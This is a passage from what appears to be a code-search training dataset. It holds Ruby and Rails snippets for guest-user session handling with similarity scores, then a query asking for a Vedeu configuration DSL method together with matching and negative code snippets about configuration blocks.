"def guest_user(allow_create = false)\n if allow_create\n @cached_guest_user ||= User.find(session[:guest_user_id] || create_guest_user.id)\n else\n @cached_guest_user ||= User.find(session[:guest_user_id])\n end\n\n rescue ActiveRecord::RecordNotFound\n # only allow retry if allow_create == true\n session[:guest_user_id] = nil\n guest_user if allow_create\n end",
"def guest_user(with_retry = true)\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n # if session[:guest_user_id] invalid\n rescue ActiveRecord::RecordNotFound\n session[:guest_user_id] = nil\n guest_user if with_retry\n end",
"def guest_user\n guest = GuestUser.new\n guest.name = \"friend\"\n guest.first_name = \"Visitor\"\n guest.last_name = \"User\"\n guest.email = \"[email protected]\"\n \n # return guest\n guest\n end",
"def guest_user(with_retry = true)\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n guest_user if with_retry\n end",
"def guest_user(with_retry = true)\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n guest_user if with_retry\n end",
"def guest_user(with_retry = true)\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n guest_user if with_retry\n end",
"def guest_user\r\n guest = GuestUser.new\r\n guest.name = 'Guest User'\r\n guest.first_name = 'Guest'\r\n guest.last_name = 'User'\r\n guest.email = '[email protected]'\r\n guest\r\n end",
"def guest_user(with_retry = true)\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n guest_user if with_retry\n end",
"def guest_user(with_retry = true)\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n guest_user if with_retry\n end",
"def guest_user(with_retry = true)\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n guest_user if with_retry\n end",
"def guest_user(with_retry = true)\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n guest_user if with_retry\n end",
"def guest_user(with_retry = true)\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n guest_user if with_retry\n end",
"def guest_user(with_retry = true)\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n guest_user if with_retry\n end",
"def guest_user(with_retry = true)\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n guest_user if with_retry\n end",
"def guest_user(with_retry = true)\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n guest_user if with_retry\n end",
"def new_guest_user\n if object.user && object.user.guest? && object.user.trips.count == 1\n {email: object.user.email, authentication_token: object.user.authentication_token}\n else\n nil\n end\n end",
"def guest_user(with_retry = true)\n\t # Cache the value the first time it's gotten.\n\t @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n\n\t rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n\t \tsession[:guest_user_id] = nil\n\t \tguest_user if with_retry\n\t end",
"def guest_user(with_retry = true)\n begin\n # Cache the value the first time it's gotten.\n @cached_guest_user ||=User.find_by_guest_authentication_token(session[:guest_authentication_token]) ||User.build_guest(session)\n rescue ActiveRecord::RecordNotFound\n session[:guest_authentication_token] = nil\n guest_user if with_retry\n end\n end",
"def set_guest\n @user = GuestUsers::User.find(params[:id])\n end",
"def register_guest\n params[:guest] = params[:user] if params[:user]\n if current_guest\n @user = User.find(current_guest.id)\n @user.email = params[:guest][:email]\n @user.email_preference = params[:guest][:email_preference]\n return render :guest_registration unless @user.valid?\n\n @user.save!\n else\n # See if I can convert these next few lines to find_or_create_by, making sure to still\n # set account_status to 'G'. Pay attention to the block below looking to see if @user is valid\n @user = Guest.find_by_email(params[:guest][:email].downcase)\n @user ||= Guest.new(guest_params.merge(account_status: 'G'))\n # Doing the 'unless' condition so a user can't then make himself a guest and break his account\n @user.account_status = 'G' unless @user.account_status == 'A'\n\n unless @user.valid?\n flash[:alert] = 'You must enter a valid email and accept the terms of service before you can proceed.'\n return render :guest_registration\n end\n\n @user.save!\n session[:guest] = @user.id\n end\n redirect_to controller: :store, action: :checkout\n end",
"def guest_user\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find_by!(email: (cookies.permanent.signed[:guest_user_email] ||= create_guest_user.email))\n\n # if cookies.signed[:guest_user_email] invalid\n rescue ActiveRecord::RecordNotFound\n cookies.delete :guest_user_email\n guest_user\n end",
"def guest_user\n # Cache the value the first time it's gotten.\n @cached_guest_user ||=\n User.find_by!(email: (cookies.permanent.signed[:guest_user_email] ||= create_guest_user.email))\n\n # if cookies.signed[:guest_user_email] invalid\n rescue ActiveRecord::RecordNotFound #\n cookies.delete :guest_user_email\n guest_user\n end",
"def user_or_guest\n user or Guest.new(guest_uid, guest_name)\n end",
"def create_guest_user\n user = User.new { |user| user.role = 'guest' }\n user.email = \"guest_#{Time.now.to_i}#{rand(99)}@example.com\"\n user.save(validate: false)\n user\n end",
"def guest_user(with_retry = true)\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id]) if session[:guest_user_id]\n\n # rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n # session[:guest_user_id] = nil\n # guest_user if with_retry\n end",
"def guest_user\n @guest_user ||= User.where(guest: true).first || super\n end",
"def current_user\n if session[:user_id] != nil\n user = User.find(session[:user_id])\n elsif session[:guest_id] != nil\n user = User.find(session[:guest_id])\n else\n user = User.new(name: \"Guest\", authenticated: false)\n user.save\n session[:guest_id] = user.id\n end\n return user\n end",
"def guest_user(with_retry = true)\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(guest_user_id)\n\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n guest_user if with_retry\n end",
"def create_guest_user\n uuid = rand(36**64).to_s(36)\n temp_email = \"guest_#{uuid}@guest_user.com\"\n u = User.create(name: \"GUEST\", username: \"Guest #{User.guests.size}\", email: temp_email, lazy_id: uuid)\n cookies[:uuid] = { value: uuid, path: '/', expires: 5.years.from_now }\n u.save(validate: false)\n u\n end",
"def guest_user\n User.find_by_email('[email protected]')\n end",
"def current_or_guest_user!\n if current_user\n if cookies[:uuid]\n\n # Called when a guest user is converted to current user\n promote_guest_to_user(current_user)\n\n # destroy the guest user and the session\n destroy_guest_user\n end\n current_user\n else\n find_or_create_guest_user\n end\n end",
"def guest_user\n @_guest ||= Guest.from_cookies(cookies) unless user_signed_in?\n end",
"def guest_user\n User.find_by_lazy_id(cookies[:uuid])\n end",
"def guest_user(with_retry = true)\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(cookies.signed.permanent[:guest_user_id] ||= create_guest_user.id)\n\n rescue ActiveRecord::RecordNotFound # if cookies.signed[:guest_user_id] invalid\n cookies.delete :guest_user_id\n guest_user if with_retry\n end",
"def current_or_guest_user(create_guest = false)\n @current_or_guest_user ||=\n (\n logger.debug 'ApplicationController:current_or_guest_user'\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n remove_guest\n logger.debug \"ApplicationController:current_or_guest_user >>> current_user and guest_user session found -- guest_user remove and return current_user\"\n end\n current_user\n else\n logger.debug \"ApplicationController:current_or_guest_user >>> current_user not found -- switching to guest_user with create = #{create_guest}\"\n guest_user(create_guest)\n end\n )\n end",
"def maybe_login_guest\n # Assume that guest exists in DB\n # session[:usr_id] = (Usr.find_by_login(\"guest\").id)\n # Being a guest means that session[:usr_id] is nil\n # unless (session[:usr_id])\n # The idea that a guest has a usr_id causes problems with login_sugar.\n # So, a guest does not have a usr_id.\n end",
"def guest\n new(email: GUEST_USER_EMAIL).freeze\n end",
"def guest\n defaultuser = (\n case ActiveRecord::Base.connection.adapter_name\n when 'MySQL'\n 'defaultUser'\n else\n 'defaultuser'\n end\n )\n User.find(:first, :conditions => \"#{self.class.primary_key}=#{self.id} AND #{defaultuser} = true\" )\n end",
"def current_user\n @current_user ||= User.find(session[:user_id])\n rescue ActiveRecord::RecordNotFound\n #login User.create_guest\n end",
"def guest\n\t\tid = User.count + 1\n\t\t@user = User.new(username: \"Guest_#{id}\", password: \"guestpass#{id}\", password_confirmation: \"guestpass#{id}\")\n\t\tif @user.save!\n\t\t\tsign_in @user\n\t\t\tflash[:success] = \"Welcome to Lightcycles!\"\n\t\t\tredirect_to root_path\n\t\telse\n\t\t\tflash[:error] = \"Sorry, there was an error!\"\n\t\t\tredirect_to \"/login\"\n\t\tend\n\tend",
"def get_or_create_user\n @user||=use_url_session? ? get_or_create_url_session_user : current_user_with_guest\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n\n logging_in\n # reload guest_user to prevent caching problems before destruction\n guest_user(with_retry = false).try(:reload).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n # reload guest_user to prevent caching problems before destruction\n guest_user(with_retry = false).try(:reload).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n # reload guest_user to prevent caching problems before destruction\n guest_user(with_retry = false).try(:reload).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n # reload guest_user to prevent caching problems before destruction\n #guest_user(with_retry = false).try(:reload).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n # reload guest_user to prevent caching problems before destruction\n guest_user(with_retry = false).reload.try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n # reload guest_user to prevent caching problems before destruction\n guest_user(with_retry = false).reload.try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n # reload guest_user to prevent caching problems before destruction\n guest_user(with_retry = false).reload.try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n guest_user(with_retry = false).try(:reload).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def create_guest_user\n u = User.create(name: 'guest', email: \"guest_#{Time.current.to_i}#{rand(99)}@example.com\")\n # u.skip_confirmation!\n u.save!(validate: false)\n u\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_authentication_token] &&\n !current_user.matches_guest_authentication_token?(session[:guest_authentication_token])\n # transfer_guest_to_current_user\n guest_user(with_retry = false).try(:destroy)\n session[:guest_authentication_token] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def current_or_guest_user\n if current_user\n transfer_session_to_logged_in_user if session[:guest_user_id].present?\n current_user\n else\n guest_user\n end\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n guest_user(with_retry = false).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n guest_user(with_retry = false).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in(guest_user_id)\n guest_user(with_retry = false).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n puts \"test\"\n puts \"11111111\"\n # reload guest_user to prevent caching problems before destruction\n guest_user(with_retry = false).try(:reload).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n puts \"222222222222\"\n else\n guest_user\n puts \"3333333333\"\n end\n end",
"def check_for_guest\n if(params[:user_id]) then \n @user=User.find(params[:user_id])\n else\n @user=nil\n end\n @user\n end",
"def create_guest_user\n u = User.create(email: \"guest_#{Time.now.to_i}#{rand(99)}@example.com\")\n #u.skip_confirmation!\n u.save!(validate: false)\n u\n end",
"def create\n if (params[:user][:email] == \"[email protected]\")\n prep_guest\n end\n super\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def promote_guest_to_user(user)\n # What should be done here is take all that belongs to user with lazy_id matching current_user's uuid cookie...\n # then associate them with current_user\n\n # Copy the subscription data from the guest user to the newly created user:\n # For example:\n # guest_comments = guest_user.comments.all\n # guest_comments.each do |comment|\n # comment.user_id = current_user.id\n # comment.save\n # end\n\n if !cookies[:uuid].nil?\n #user.subscriptions = guest_user.subscriptions.dup\n true\n else\n false\n end\n\n # When we promote a guest to a user, the guest should be destroyed (This includes deleting the cookie)\n destroy_guest_user\n\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id]\n logging_in\n #guest_user.destroy\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id]\n logging_in\n guest_user.destroy\n session[:guest_user_id] = nil\n end\n return current_user\n else\n return guest_user\n end\n end",
"def current_or_guest_user\n\t\tif current_user\n\t\t\tif session[:guest_user_id] && session[:guest_user_id] != current_user.id\n\t\t\t\tlogging_in\n\t\t\t\tguest_user(with_retry = false).try(:destroy)\n\t\t\t\tsession[:guest_user_id] = nil\n\t\t\tend\n\t\t\tcurrent_user\n\t\telse\n\t\t\tguest_user\n\t\tend\n\tend",
"def create_guest\n\t\tcustom_params = { \n\t\t\temail: Faker::Internet.email, \n\t\t\tpassword: \"demodemo\",\n\t\t\tguest: true\n\t\t}\t\t\n\t\t\n\t\tUser.transaction do\n\t\t\t@user = User.new(custom_params)\n\t\t\[email protected]_dashboard\n\t\tend\n\t\t\n\t\tif @user.save\n log_in!(@user)\n\t\t\[email protected]_guest_blog_with_posts!\n\t\t\t\n render json: @user\n else\n render json: @user.errors.full_messages, status: 422\n end\n\t\t\n\tend",
"def set_guest\n @guest = Guest.find(params[:id])\n end",
"def set_guest\n @guest = Guest.find(params[:id])\n end",
"def set_guest\n @guest = Guest.find(params[:id])\n end",
"def set_guest\n @guest = Guest.find(params[:id])\n end",
"def set_guest\n @guest = Guest.find(params[:id])\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id]\n logging_in\n guest_user.destroy\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id]\n logging_in\n guest_user.destroy\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def guest\n @patient=User.find_by_wedgetail(params[:wedgetail],:order =>\"created_at DESC\")\n authorize_only (:patient) {@patient.wedgetail == @user.wedgetail}\n authorize :admin\n @newuser = User.new\n \n @newuser.username= WedgePassword.username_make(\"G\")\n @newuser.password= WedgePassword.random_password(6)\n @newuser.family_name=\"Guest \"[email protected]\n @[email protected] + @patient.wedgetail\n @newuser.role=7\n if @newuser.save \n render(:layout => \"layouts/guestcard\")\n flash.now[:notice] = \"Guest User Created\"\n else\n flash.now[:notice] = \"Guest User Not Created Due to Error\"\n redirect_to(patient_path(@patient.wedgetail))\n end\n end",
"def set_guest_session_association\n @guest_session_association = GuestSessionAssociation.new(user_id:session[:user_id],jam_session_id:params[:id],player:params[:player])\n @guest_session_association.save!\n end",
"def current_user_or_guest\n if current_user\n if session[:guest_user_id]\n logging_in\n guest_user.destroy\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def set_guest\n @guest = Guest.find(params[:id])\n end",
"def set_guest\n @guest = Guest.find(params[:id])\n end",
"def set_guest\n @guest = Guest.find(params[:id])\n end",
"def set_guest\n @guest = Guest.find(params[:id])\n end",
"def set_guest\n @guest = Guests.find(params[:id])\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id]\n logging_in\n guest_user_log_out\n end\n current_user\n else\n guest_user\n end\n end"
] | [
"0.84719986",
"0.84546036",
"0.8436438",
"0.83515316",
"0.8258372",
"0.822358",
"0.822358",
"0.82172614",
"0.8186005",
"0.8162806",
"0.8079069",
"0.80566293",
"0.8028192",
"0.80156237",
"0.7948459",
"0.7938866",
"0.78632987",
"0.7787028",
"0.77818793",
"0.7755516",
"0.77045405",
"0.7696136",
"0.7684873",
"0.7684873",
"0.7674525",
"0.7641303",
"0.7636415",
"0.76336616",
"0.76139253",
"0.7613511",
"0.7613511",
"0.7613511",
"0.7613511",
"0.7613511",
"0.7579242",
"0.75604653",
"0.75093496",
"0.746735",
"0.74550503",
"0.74243945",
"0.73864573",
"0.73847526",
"0.7379177",
"0.737519",
"0.73534966",
"0.73527133",
"0.7287026",
"0.72726935",
"0.72580916",
"0.723081",
"0.71660876",
"0.71111155",
"0.70975673",
"0.7083512",
"0.7034263",
"0.70334923",
"0.7023631",
"0.70081973",
"0.6996782",
"0.69229126",
"0.6868324",
"0.6836901",
"0.68366754",
"0.6835594",
"0.68161255",
"0.68161255",
"0.68161255",
"0.6791131",
"0.6784316",
"0.67250913",
"0.67145234",
"0.67056483",
"0.67056483",
"0.66770935",
"0.6671162",
"0.6662992",
"0.6653473",
"0.6645183",
"0.6592037",
"0.6582584",
"0.6549535",
"0.6537879",
"0.6537374",
"0.65120167",
"0.6488569",
"0.6488569",
"0.6488569",
"0.6488569",
"0.6488569",
"0.64811647",
"0.64811647",
"0.6477762",
"0.6474598",
"0.64641786",
"0.64484787",
"0.64484787",
"0.64484787",
"0.64484787",
"0.64336383",
"0.643056"
] | 0.75695187 | 35 |
Configure Vedeu using a simple configuration DSL. | def configure(&block)
fail InvalidSyntax, '`configure` requires a block.' unless block_given?
Vedeu::Configuration.configure(&block)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def configure(args = [], opts = {}, &block)\n @options.merge!(opts)\n\n @options.merge!(Config::API.configure(&block)) if block_given?\n @options.merge!(Config::CLI.configure(args)) if args.any?\n\n Vedeu::Renderers.renderer(*@options[:renderers])\n\n Vedeu::Configuration\n end",
"def configure(&block); end",
"def configure(&block); end",
"def generate_vagrant_config\n template = Souffle::Template.new('Vagrantfile.erb')\n temp_binding = OpenStruct.new\n temp_binding.version = Souffle::VERSION\n \n template.render(temp_binding)\n end",
"def configure; end",
"def configure!(parser); end",
"def configure(opts = {}, &block)\n @options.merge!(opts)\n\n @options.merge!(Config::API.configure(&block)) if block_given?\n\n Vedeu::Renderers.renderer(*@options[:renderers])\n\n Vedeu::Configuration\n end",
"def configure(&block)\n Fastfood::Configuration.instance_eval( &block )\n end",
"def new_config_content\n return <<-VHOST\n\n# vh configuration file\nInclude #{@target}\n# /vh configuration file\n VHOST\n end",
"def configure(&block)\n config.run_callbacks(:configure) do\n config.instance_eval(&block)\n end\n end",
"def configure\n puts 'Configuring Vault'\n vault = secure_vault\n vault.sys.mount('testing', 'kv', 'Mount used for testing purposes only')\n vault.logical.write('testing/test', value: @random_string)\n end",
"def setup\n @configure = Hatemile::Util::Configure.new\n end",
"def configure\n\n # config file default options\n configuration = {\n :options => {\n :verbose => false,\n :coloring => 'AUTO'\n },\n :mount => {\n :source => {\n :name => nil\n },\n :mountpoint => {\n :name => nil\n },\n :passphrasefile => {\n :name => 'passphrase'\n },\n :keyfile => {\n :name => 'encfs6.xml'\n },\n :cmd => nil,\n :executable => nil\n },\n :unmount => {\n :mountpoint => {\n :name => nil\n },\n :cmd => nil,\n :executable => nil\n },\n :copy => {\n :source => {\n :name => nil\n },\n :destination => {\n :name => nil\n },\n :cmd => nil,\n :executable => nil\n }\n }\n\n # set default config if not given on command line\n config = @options[:config]\n unless config\n config = [\n File.join(@working_dir, \"revenc.conf\"),\n File.join(@working_dir, \".revenc.conf\"),\n File.join(@working_dir, \"config\", \"revenc.conf\"),\n File.expand_path(File.join(\"~\", \".revenc.conf\"))\n ].detect { |filename| File.exists?(filename) }\n end\n\n if config && File.exists?(config)\n # rewrite options full path for config for later use\n @options[:config] = config\n\n # load options from the config file, overwriting hard-coded defaults\n config_contents = YAML::load(File.open(config))\n configuration.merge!(config_contents.symbolize_keys!) if config_contents && config_contents.is_a?(Hash)\n else\n # user specified a config file?, no error if user did not specify config file\n raise \"config file not found\" if @options[:config]\n end\n\n # the command line options override options read from the config file\n @options = configuration[:options].merge!(@options)\n @options.symbolize_keys!\n\n # mount, unmount and copy configuration hashes\n @options[:mount] = configuration[:mount].recursively_symbolize_keys! if configuration[:mount]\n @options[:unmount] = configuration[:unmount].recursively_symbolize_keys! if configuration[:unmount]\n @options[:copy] = configuration[:copy].recursively_symbolize_keys! if configuration[:copy]\n end",
"def configure(&block)\n instance_eval(&block)\n end",
"def configure(&block)\n instance_eval(&block)\n end",
"def configure(&block)\n configurator.configure(&block)\n end",
"def configure &block\n @config_helper = ConfigHelper.new(&block)\n end",
"def configure(&block)\n self.instance_eval(&block)\n end",
"def configure( &block )\n @configuration = block\n end",
"def configure\n end",
"def configure\n send_command \"--configure\"\n end",
"def configure(&block)\n yield config\n end",
"def configure &block\n\t\tinstance_eval &block\n\tend",
"def setup(&block)\n Config.setup(&block)\n end",
"def configure\n if @opts[:docker]\n Souschef::Print.info 'Creating Docker configuration .kitchen.local.yml'\n write(:docker, Souschef::Testkitchen::Docker.new(@cookbook).yaml)\n end\n if @opts[:solusvm]\n Souschef::Print.info 'Creating SolusVM configuraton .kitchen.local.yml'\n write(:solusvm, Souschef::Testkitchen::Solusvm.new(@cookbook).yaml)\n end\n\n Souschef::Print.info 'Creating Vagrant configuration in .kitchen.yml'\n write(:virtualbox, Souschef::Testkitchen::Virtualbox.new(@cookbook).yaml)\n end",
"def default_config\n UvConfiguration.new\n end",
"def configure(&blk)\n instance_eval &blk\n end",
"def configure(root_config)\n end",
"def configure(root_config)\n end",
"def configure &blk\n instance_eval &blk\n end",
"def config(&block)\n instance_eval(&block) if block_given?\n end",
"def configure(&block)\n self.instance_eval(&block) if block_given?\n end",
"def configure_plugin_vagrant_vbguest(\n plugin_info = nil,\n auto_update_default = false,\n no_remote_default = true,\n iso_path_default = nil\n)\n\n Vagrant.configure(VAGRANT_VERSION) do |config|\n\n config.vbguest.auto_update = [\n validate_value(lookup_values_yaml(plugin_info, ['settings', 'auto_update'])),\n auto_update_default\n ].find { |i| !i.nil? }\n\n config.vbguest.no_remote = [\n validate_value(lookup_values_yaml(plugin_info, ['settings', 'no_remote'])),\n no_remote_default\n ].find { |i| !i.nil? }\n\n iso_path = [\n lookup_values_yaml(plugin_info, ['settings', 'iso_path']),\n iso_path_default\n ].find { |i| !i.nil? }\n config.vbguest.iso_path = iso_path if iso_path\n\n end\nend",
"def configure(&block)\n block.call Configuration\n end",
"def configure\n yield(config)\n end",
"def configure(&block)\n @configure_blocks ||= []\n @configure_blocks << block\n end",
"def config(&block)\n instance_exec(&block)\n end",
"def configure(&block)\n yield(configuration)\n end",
"def configure\n yield config\n end",
"def configure\n yield config\n end",
"def configure\n yield config\n end",
"def setup(&block)\n block.call config if block_given?\n end",
"def setup_config\n # To be Extended\n end",
"def configure(&block)\n ConfigBlock.new(self, &block) if block_given?\n nil\n end",
"def configure(&block)\n ConfigBlock.new(self, &block) if block_given?\n nil\n end",
"def configure\n # do nothing\n end",
"def setup_config(config=nil, &block)\n @config = config || ConfigStruct.block_to_hash(block)\n end",
"def configure!\n yield self\n setup\n end",
"def configure(root_config)\n\n end",
"def configure\n yield configuration\n end",
"def configure\n yield configuration\n end",
"def configure(&block)\n site.configure &block\n end",
"def configure(&block)\n yield(configuration)\n end",
"def config=(config); end",
"def configure\n yield(config)\n end",
"def configure\n yield config if block_given?\n end",
"def configure\n yield config if block_given?\n end",
"def initialize\n configure_via_yaml\n configure_via_env\n end",
"def config_lv_define_box2(vm, conf)\n vm.define conf['hostname_box2'] do |box2|\n box2.vm.hostname = conf['hostname_box2']\n box2.vm.box = conf['imagename_box2']\n box2.vm.network :private_network,\n :libvirt__network_name => \"mgmt\",\n :mac => conf['libvirt_mgmt_mac_box2'],\n :ip => conf['libvirt_mgmt_ip_box2'],\n :libvirt__netmask => conf['libvirt_mgmt_netmask_box2'],\n :libvirt__dhcp_enabled => false,\n :libvirt__forward_mode => \"none\",\n :autostart => true\n box2.vm.network :public_network,\n :network_name => \"ext\",\n :ip => conf['libvirt_ext_ip_box2'],\n :netmask => conf['libvirt_ext_netmask_box2'],\n :gateway => conf['libvirt_ext_gateway_box2'],\n :mac => conf['libvirt_ext_mac_box2'],\n :dev => conf['libvirt_dev'],\n :type => conf['libvirt_type'],\n :mode => conf['libvirt_mode']\n box2.vm.network :private_network,\n :libvirt__network_name => \"ceph\",\n :mac => conf['libvirt_ceph_mac_box2'],\n :ip => conf['libvirt_ceph_ip_box2'],\n :libvirt__netmask => conf['libvirt_ceph_netmask_box2'],\n :libvirt__dhcp_enabled => false,\n :libvirt__forward_mode => \"none\",\n :autostart => true\n box2.vm.network :private_network,\n :libvirt__network_name => \"vm_tunnel\",\n :mac => conf['libvirt_tunnel_mac_box2'],\n :ip => conf['libvirt_tunnel_ip_box2'],\n :libvirt__netmask => conf['libvirt_tunnel_netmask_box2'],\n :libvirt__dhcp_enabled => false,\n :libvirt__forward_mode => \"none\",\n :autostart => true\n box2.vm.provider :libvirt do |domain|\n domain.memory = conf['memory_box2']\n domain.cpus = conf['cpus_box2']\n domain.management_network_name = 'vagrantmgmt'\n domain.management_network_address = conf['libvirt_vagrantmgmt_ip_box2']\n domain.management_network_mode = conf['libvirt_mgmt_mode']\n end\n config_provision(box2.vm, conf)\n end\nend",
"def config=(value); end",
"def config(options = T.unsafe(nil)); end",
"def config(value,options)\n\n end",
"def config(value,options)\n\n end",
"def configure\n yield config if block_given?\n end",
"def configure_with_block(&block)\n self.instance_eval(&block) if block_given?\n end",
"def configure_with_block(&block)\n self.instance_eval(&block) if block_given?\n end",
"def configure\n yield config\n end",
"def configure\n yield config\n end",
"def configure\n yield configuration\n end",
"def configure\n yield configuration\n end",
"def configure\n yield configuration\n end",
"def configure\n yield configuration\n end",
"def configure\n yield configuration\n end",
"def configure\n yield configuration\n end",
"def configure\n yield configuration\n end",
"def configure(&block)\n raise ArgumentError, \"Block required in order to configure\" unless block_given?\n \n yield @config\n end",
"def configure &block\n configuration.tap { |conf| yield conf }\n end",
"def initialize(...)\n super()\n configure(...)\n end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def install_configure_in(base)\n base.instance_eval <<-EOF\n # Configuration class for host module\n #\n #{base.name}::Configuration = Class.new(Configurations::Configuration)\n\n # The central configure method\n # @params [Proc] block the block to configure host module with\n # @raise [ArgumentError] error when not given a block\n # @example Configure a configuration\n # MyGem.configure do |c|\n # c.foo = :bar\n # end\n #\n def self.configure(&block)\n semaphore.synchronize do\n fail ArgumentError, \"configure needs a block\" unless block_given?\n include_configuration_type!(#{base.name}::Configuration)\n\n set_configuration!(&block)\n end\n end\n\n # A reader for Configuration\n #\n def configuration\n semaphore.synchronize do\n return @configuration if @configuration\n\n if @configuration_defaults\n include_configuration_type!(#{base.name}::Configuration)\n set_configuration! { }\n end\n end\n end\n\n\n private\n\n # Sets the configuration instance variable\n #\n def self.set_configuration!(&block)\n @configuration = #{base.name}::Configuration.__new__(\n configuration_options,\n &block\n )\n end\n\n @semaphore = Mutex.new\n def self.semaphore\n @semaphore\n end\n\n EOF\n end",
"def configure(options={})\n Configuration.configure(options)\n end",
